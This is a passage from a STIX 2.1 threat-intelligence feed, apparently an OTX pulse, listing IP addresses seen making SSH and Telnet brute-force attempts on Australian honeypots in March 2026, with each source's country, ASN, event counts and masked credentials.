      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262826. Organisation(s): PW INFORMATICA E TECNOLOGIA LTDA. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): ***, 3***********4, 3**********4, A******3, c********@.",
      "id": "indicator--34920249-b882-436d-98f9-836cfa33240d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.251.71.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T01:15:13.000Z",
      "valid_until": "2026-04-03T01:15:11.000Z"
    },
    {
      "created": "2026-03-02T01:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--995ce2e5-8406-46b0-b796-73abd963ef95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '3.126.138.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T01:15:13.000Z",
      "valid_until": "2026-04-03T01:15:11.000Z"
    },
    {
      "created": "2026-03-02T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): r**t, r***1, r****2, r*****3.",
      "id": "indicator--ce27c2ad-e7a2-44ba-ad69-b23ffb68583b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.227.186.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T01:15:13.000Z",
      "valid_until": "2026-04-03T01:15:11.000Z"
    },
    {
      "created": "2026-03-02T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--2e7e1984-2c67-4f7d-a851-d55b3f618519",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.153.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T01:15:13.000Z",
      "valid_until": "2026-04-03T01:15:11.000Z"
    },
    {
      "created": "2026-03-02T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: BD. ASN(s): 23923. Organisation(s): Agni Systems Limited.",
      "id": "indicator--52a78c8e-50f3-4ddb-83c5-0861e60f07b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '119.148.49.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T02:15:13.000Z",
      "valid_until": "2026-04-03T02:15:12.000Z"
    },
    {
      "created": "2026-03-02T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: ID. ASN(s): 9905. Organisation(s): Linknet ASN.",
      "id": "indicator--84cfc28d-960e-4fba-9292-7842b83338b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.0.12.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T02:15:13.000Z",
      "valid_until": "2026-04-03T02:15:12.000Z"
    },
    {
      "created": "2026-03-02T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, i*******r, r**t, u**t, u**r. Passwords observed (masked): a***n, i*******r, u**t, u**r.",
      "id": "indicator--4bb0e62a-7fe7-4597-91ba-2e0872c3814b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.79.7.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T02:15:13.000Z",
      "valid_until": "2026-04-03T02:15:12.000Z"
    },
    {
      "created": "2026-03-02T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 24544. Organisation(s): Overcasts Limited. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, l***x, u****u.",
      "id": "indicator--30fb417f-8552-4a11-a967-caa15411d955",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.224.248.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T02:15:13.000Z",
      "valid_until": "2026-04-03T02:15:12.000Z"
    },
    {
      "created": "2026-03-02T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--3fd075a7-9ac8-4fc7-8a85-be1d33e855f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T02:15:13.000Z",
      "valid_until": "2026-04-03T02:15:12.000Z"
    },
    {
      "created": "2026-03-02T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 205759. Organisation(s): Ghosty Networks LLC.",
      "id": "indicator--d7cd958d-09c9-4bd6-bd6d-99167d5d98fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.89.161.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T02:15:13.000Z",
      "valid_until": "2026-04-03T02:15:12.000Z"
    },
    {
      "created": "2026-03-02T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Usernames observed (masked): r**t, 3**********4, r*******n. Passwords observed (masked): 3***********4, 3**********4, A*******3, A*******5, P******d.",
      "id": "indicator--b50b62a4-53c8-423a-aac2-6dce82265d9e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.222.42.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:15:13.000Z",
      "valid_until": "2026-04-03T03:15:11.000Z"
    },
    {
      "created": "2026-03-02T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 142627. Organisation(s): Multilink International. Usernames observed (masked): r**t. Passwords observed (masked): Q******4.",
      "id": "indicator--52f2ffbd-c94b-4ce6-b80f-884ac5680a8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.171.69.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:15:13.000Z",
      "valid_until": "2026-04-03T03:15:11.000Z"
    },
    {
      "created": "2026-03-02T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 142627. Organisation(s): Multilink International. Usernames observed (masked): r**t. Passwords observed (masked): U******0.",
      "id": "indicator--e291d474-b1e9-4a09-b7f9-c8c56d973452",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.171.69.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:15:13.000Z",
      "valid_until": "2026-04-03T03:15:11.000Z"
    },
    {
      "created": "2026-03-02T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 142627. Organisation(s): Multilink International. Usernames observed (masked): r**t. Passwords observed (masked): Q********3.",
      "id": "indicator--7f675e73-88ec-420b-9b26-cf188197a3eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.171.69.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:15:13.000Z",
      "valid_until": "2026-04-03T03:15:11.000Z"
    },
    {
      "created": "2026-03-02T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 142627. Organisation(s): Multilink International. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******b, 3***********4, 3**********4, C*******3, q****3.",
      "id": "indicator--def62ca2-a613-4585-ad70-53ca245a9117",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.171.69.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:15:13.000Z",
      "valid_until": "2026-04-03T03:15:11.000Z"
    },
    {
      "created": "2026-03-02T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 194. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**************8, 1*******!, A*******6.",
      "id": "indicator--6a50d9ec-21fb-4fb5-be94-7ddb00968598",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '109.228.18.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:15:13.000Z",
      "valid_until": "2026-04-03T03:15:11.000Z"
    },
    {
      "created": "2026-03-02T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 229. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, a****n, a***n, a**o. Passwords observed (masked): a***n, 1**1, 1******8, 7****6, P******d.",
      "id": "indicator--525df4d6-0841-4eeb-b6b5-505620bc0d92",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.110.12.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:15:13.000Z",
      "valid_until": "2026-04-03T03:15:11.000Z"
    },
    {
      "created": "2026-03-02T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******a, 1******A, 1******a, 3***********4, 3**********4.",
      "id": "indicator--f68bc69e-a968-43b7-9b71-93c23dbf68c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.68.145.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:15:13.000Z",
      "valid_until": "2026-04-03T03:15:11.000Z"
    },
    {
      "created": "2026-03-02T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !******r, 1**********r, 1*******m.",
      "id": "indicator--909d00e8-22d1-40a0-ae91-c9cef8bfcadb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '156.227.237.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:15:13.000Z",
      "valid_until": "2026-04-03T03:15:11.000Z"
    },
    {
      "created": "2026-03-02T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NP. ASN(s): 152448. Organisation(s): Global Trading And IT Solution Pvt. Ltd.. Usernames observed (masked): 3**********4. Passwords observed (masked): 3**********4.",
      "id": "indicator--316195dc-ec5a-4d6e-91a4-36db0e060c66",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.15.59.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:15:13.000Z",
      "valid_until": "2026-04-03T03:15:11.000Z"
    },
    {
      "created": "2026-03-02T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 188. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NP. ASN(s): 152448. Organisation(s): Global Trading And IT Solution Pvt. Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !******r, 1**********r, 1*******m, 1*******a, 3***********4.",
      "id": "indicator--24158cbb-92fa-402e-b1c2-c90f5ffb37a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.15.59.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:15:13.000Z",
      "valid_until": "2026-04-03T03:15:11.000Z"
    },
    {
      "created": "2026-03-02T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NP. ASN(s): 152448. Organisation(s): Global Trading And IT Solution Pvt. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 3***********4.",
      "id": "indicator--30c003ff-910b-4af8-b4a5-59aae190fa4e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.15.59.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:15:13.000Z",
      "valid_until": "2026-04-03T03:15:11.000Z"
    },
    {
      "created": "2026-03-02T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**************y, 1*******@, 7******0.",
      "id": "indicator--53fc7f74-7f1c-4c34-a5bb-e52e55e60f64",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '173.212.238.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:15:13.000Z",
      "valid_until": "2026-04-03T03:15:11.000Z"
    },
    {
      "created": "2026-03-02T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): r**t. Passwords observed (masked): A************1, t**********d.",
      "id": "indicator--cf7010b5-4d4b-44bf-8dca-a10547ea017e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.239.84.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:15:13.000Z",
      "valid_until": "2026-04-03T03:15:11.000Z"
    },
    {
      "created": "2026-03-02T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 0********0, 1*********5, 1********D, 1**********z, **.",
      "id": "indicator--f56ccd6c-46fb-4145-bde1-48cd327029c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.166.243.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:15:13.000Z",
      "valid_until": "2026-04-03T03:15:11.000Z"
    },
    {
      "created": "2026-03-02T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 188. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 34977. Organisation(s): Procono S.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**************8, A*******6, A*******5.",
      "id": "indicator--0496a9ca-c27f-4269-8ceb-468e685096c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '212.225.145.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:15:13.000Z",
      "valid_until": "2026-04-03T03:15:11.000Z"
    },
    {
      "created": "2026-03-02T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): 1******1, P*********3.",
      "id": "indicator--acf53585-252c-4729-96bd-2d76709bff07",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.255.223.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:15:13.000Z",
      "valid_until": "2026-04-03T03:15:11.000Z"
    },
    {
      "created": "2026-03-02T03:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb.",
      "id": "indicator--e2afdbd9-62d6-4445-bc42-3a48c10b1d0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.94.173.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:15:13.000Z",
      "valid_until": "2026-04-03T03:15:11.000Z"
    },
    {
      "created": "2026-03-02T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**************y, 1*******@, 7******0.",
      "id": "indicator--69e3c089-ba77-43dc-9012-0e666763dca3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.75.253.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:15:13.000Z",
      "valid_until": "2026-04-03T03:15:11.000Z"
    },
    {
      "created": "2026-03-02T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******A, 1******a, 1*3@qq.com, 3***********4, 3**********4.",
      "id": "indicator--78d8029a-7172-4242-bd74-364275973bfa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.2.141.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:15:13.000Z",
      "valid_until": "2026-04-03T03:15:11.000Z"
    },
    {
      "created": "2026-03-02T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EG. ASN(s): 36992. Organisation(s): Etisalat Misr. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A**********$, P*******!, d*******3.",
      "id": "indicator--d1158602-c160-4ca5-933d-418247283312",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '62.193.106.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:15:13.000Z",
      "valid_until": "2026-04-03T03:15:11.000Z"
    },
    {
      "created": "2026-03-02T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GR. ASN(s): 6799. Organisation(s): OTEnet S.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 0********0, 1*********5, 1********D, 1**********z, **.",
      "id": "indicator--82b49976-a5e4-4c6d-b963-144a75006096",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '83.235.21.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:15:13.000Z",
      "valid_until": "2026-04-03T03:15:11.000Z"
    },
    {
      "created": "2026-03-02T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 142627. Organisation(s): Multilink International. Usernames observed (masked): r**t. Passwords observed (masked): Q********#.",
      "id": "indicator--7ba47e34-921c-4c52-92fd-f1c4fc709ab4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.171.69.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T04:15:13.000Z",
      "valid_until": "2026-04-03T04:15:11.000Z"
    },
    {
      "created": "2026-03-02T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--9b69d906-4cd1-4a7e-8f0f-b1a1bf8ce1a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.209.146.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
